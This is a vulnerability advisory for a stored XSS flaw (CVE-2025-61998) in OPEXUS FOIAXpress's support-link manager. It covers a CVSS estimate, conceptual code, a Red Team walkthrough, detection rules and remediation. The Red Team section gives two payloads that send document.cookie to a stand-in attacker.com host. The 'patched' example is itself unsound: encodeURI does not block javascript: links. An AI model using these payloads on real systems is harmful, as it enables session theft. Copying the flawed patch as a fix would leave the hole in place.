CVE-2025-61998

Executive Summary

CVE-2025-61998 is a stored cross-site scripting (XSS) vulnerability in OPEXUS FOIAXpress, a Freedom of Information Act (FOIA) request management system. An authenticated administrative user can inject malicious JavaScript or other content into the Technical Support Hyperlink Manager. When other users click the crafted link, the injected script executes in their browser context. This allows the attacker to perform actions on behalf of the victim, including stealing session cookies, user credentials, or sensitive data. The vulnerability is present in versions before 11.13.3.0. No public proof-of-concept or exploit code is currently available.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for a complete assessment. However, based on the description, the following vector is estimated:

• Attack Vector (AV): Network (N) – The malicious link is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be an administrative user.
• User Interaction (UI): Required (R) – The victim must click the malicious link.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Session cookies and credentials can be stolen.
• Integrity (I): High (H) – The attacker can perform actions on behalf of the victim.
• Availability (A): Low (L) – The attack primarily impacts confidentiality and integrity.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L Estimated Base Score: 7.6 (High)

Deep Dive & Mechanics

The vulnerability resides in the Technical Support Hyperlink Manager component of OPEXUS FOIAXpress. This feature allows administrators to configure URLs for technical support resources. The application fails to properly sanitize or validate user-supplied input when setting these URLs. An administrative user can inject arbitrary JavaScript code (e.g., javascript:alert(1)) or other content as the URL.

When a non-administrative user views the support page and clicks the malicious link, the injected script executes in their browser. This is a classic stored XSS attack. The script can then:

• Steal session cookies via document.cookie.
• Capture keystrokes or form data.
• Perform actions on behalf of the victim, such as modifying FOIA requests or accessing sensitive documents.
• Redirect the victim to a phishing page.

The attack is particularly dangerous because it originates from a trusted administrative user, making it harder to detect.

Vulnerable vs. Patched Code

The vulnerability is due to insufficient output encoding of the URL field in the Technical Support Hyperlink Manager.

Vulnerable Code (Conceptual):

// Server-side code that stores the URL without sanitization
function saveSupportLink(url) {
    database.save("support_link", url);
}

// Client-side code that renders the link without encoding
function renderSupportLink() {
    var link = database.get("support_link");
    document.getElementById("supportLink").innerHTML = "<a href='" + link + "'>Support</a>";
}

Patched Code (Conceptual):

// Server-side code that validates and sanitizes the URL
function saveSupportLink(url) {
    if (!isValidUrl(url)) {
        throw new Error("Invalid URL");
    }
    database.save("support_link", url);
}

// Client-side code that safely renders the link
function renderSupportLink() {
    var link = database.get("support_link");
    var safeLink = encodeURI(link);
    document.getElementById("supportLink").innerHTML = "<a href='" + safeLink + "'>Support</a>";
}

The patch likely involves:

1. Server-side validation to ensure the URL is a valid, non-javascript URI.
2. Proper output encoding (e.g., HTML entity encoding) when rendering the link.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to OPEXUS FOIAXpress (version < 11.13.3.0).
• A victim user who will click the malicious link.

Steps:

1. Log in as an administrative user.
2. Navigate to the Technical Support Hyperlink Manager.
3. In the URL field, enter a malicious payload such as:

   javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)
   

4. Save the link.
5. Send the link to a victim user (e.g., via email or internal messaging).
6. When the victim clicks the link, the JavaScript executes, sending their session cookie to the attacker's server.

Example Payload:

javascript:new Image().src='https://attacker.com/steal?c='+document.cookie

Blue Team

Detection:

• Monitor for administrative users modifying the Technical Support Hyperlink Manager.
• Look for URLs containing javascript: or other suspicious schemes.
• Analyze web server logs for requests to the support link configuration endpoint.

Prevention:

• Ensure the application is updated to version 11.13.3.0 or later.
• Implement strict input validation and output encoding for all user-supplied URLs.
• Use Content Security Policy (CSP) headers to restrict the execution of inline scripts.

Response:

• If a malicious link is detected, immediately remove it and revoke any compromised session tokens.
• Investigate the administrative user who created the link.
• Notify affected users and require them to change their passwords.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled domains or IP addresses from the FOIAXpress server.
  • HTTP requests containing javascript: in the Referer header.
• Host:
  • Unusual entries in the Technical Support Hyperlink Manager containing javascript: or other script schemes.
  • Modified configuration files related to support links.
• Logs:
  • Web server logs showing requests to /support/link or similar endpoints with suspicious parameters.
  • Application logs indicating changes to support link settings by administrative users.

Detection Engineering

YARA Rule

rule CVE_2025_61998_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in OPEXUS FOIAXpress support links"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61998"
    strings:
        $xss_payload = /javascript\s*:/ nocase
        $xss_payload2 = /<script\b[^>]*>/ nocase
        $xss_payload3 = /on\w+\s*=/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-61998 Stored XSS in OPEXUS FOIAXpress
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in FOIAXpress support link manager
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/support/link'
        cs-uri-query|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: links (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61998 Stored XSS in OPEXUS FOIAXpress"; flow:to_server,established; content:"POST"; http_method; content:"/support/link"; http_uri; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade OPEXUS FOIAXpress to version 11.13.3.0 or later.
2. If immediate upgrade is not possible, restrict administrative access to the Technical Support Hyperlink Manager to only trusted users.
3. Review and remove any suspicious support links.

Long-term:

1. Implement a Content Security Policy (CSP) that restricts inline script execution.
2. Conduct regular security audits of administrative features.
3. Train administrators on the risks of XSS and secure coding practices.

Workaround:

• Disable the Technical Support Hyperlink Manager feature if not essential.
• Use a web application firewall (WAF) to block requests containing javascript: in URL parameters.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert